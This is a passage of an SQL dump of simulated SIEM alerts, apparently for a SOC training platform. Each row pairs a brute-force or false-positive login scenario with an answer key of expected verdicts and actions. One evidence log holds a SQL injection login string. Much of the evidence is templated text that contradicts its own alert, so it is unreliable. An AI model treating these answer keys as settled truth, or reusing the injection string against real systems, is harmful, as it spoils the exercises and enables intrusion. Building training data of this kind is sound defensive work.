4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1683, 'False Positive: Scheduled Maintenance Login', 'low', 'Wazuh', 'Detected login attempts from an internal IP that match scheduled maintenance activities.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:02:14Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"maintenance\",\"hostname\":\"maintenance-server\",\"failed_attempts\":1}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with known maintenance activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"maintenance\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username for scheduled maintenance tasks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login activity aligns with expected maintenance operations.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:57:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:56:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:55:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-15T20:54:15.969Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:02:14Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"maintenance\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"failed_attempts\\\":1}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1684, 'Suspicious Login Attempts from Known Malicious IP', 'high', 'Azure Sentinel', 'A known malicious IP has been attempting unauthorized logins, indicating a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:28:42Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.78\",\"dst_ip\":\"10.0.0.8\",\"username\":\"administrator\",\"hostname\":\"core-server\",\"failed_attempts\":45}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Common administrative account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s malicious history corroborates the detected attack pattern.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:57:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:56:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:55:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:54:15.972Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:28:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.78\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"core-server\\\",\\\"failed_attempts\\\":45}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1685, 'Potential Password Spraying Detected', 'medium', 'Elastic SIEM', 'An external IP address has been attempting multiple logins, possibly indicating a password spraying attempt.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:31:29Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.67\",\"dst_ip\":\"192.168.1.15\",\"username\":\"user1\",\"hostname\":\"company-portal\",\"failed_attempts\":35}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous password spraying incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"user1\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The pattern of failed attempts and external IP reputation confirm the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:57:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:56:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:55:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:54:15.974Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:31:29Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"company-portal\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1686, 'False Positive: Authorized User Activity', 'low', 'Splunk', 'Detected login attempts from an internal IP by an authorized user, not a security threat.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:05:59Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.0.50\",\"dst_ip\":\"192.168.0.60\",\"username\":\"authorized_user\",\"hostname\":\"internal-server\",\"failed_attempts\":0}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used by authorized personnel\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"authorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Authorized user for internal systems\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity is legitimate, originating from a known user and IP.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:57:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:56:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:55:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:54:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1687, 'Password Spraying Attack Detected on Internal Web Portal', 'high', 'Splunk', 'Multiple failed login attempts detected from a foreign IP address targeting the internal web portal. This indicates a potential password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:34:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.5\",\"username\":\"jdoe\",\"hostname\":\"webportal01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the web portal\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Internal user account involved in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP has a history of brute force attempts, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1688, 'SSH Brute Force Spike Detected', 'critical', 'Elastic SIEM', 'A significant increase in SSH login failures from an external IP indicates a brute force attack against the server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:45:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"server01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple SSH brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Commonly targeted admin account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"IP has a history of malicious activity, confirming its involvement in the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1689, 'Unusual Login Attempt Detected', 'medium', 'Azure Sentinel', 'A login attempt from a previously unseen IP address was detected on an administrator account.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:12:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.5\",\"dst_ip\":\"10.2.2.20\",\"username\":\"administrator\",\"hostname\":\"adserver01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP previously reported for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"High-value target user 